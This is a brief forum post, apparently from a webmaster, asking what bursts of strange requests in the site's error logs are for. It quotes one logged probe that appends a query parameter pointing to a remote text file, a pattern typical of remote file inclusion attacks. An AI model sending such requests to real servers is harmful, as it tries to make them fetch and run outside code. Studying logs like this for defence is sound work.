I've taken to studying NotFound/Unauthorised errors at our site. We get hundreds of weird probes a day, mostly in bursts, eg just a few minutes ago we got about a dozen of these in a few seconds: www.artfulsoftware.com/php_mysql_win.html%20%20/index.php?var=http://www.candidography.com/zero/id1.txt?? www.artfulsoftware.com/php_mysql_win.html is a real page. The rest looks like a probe of some sort. A probe for what? GET-based vulnerabilities? Anybody have an idea what such vandals might be trying to accomplish? PB
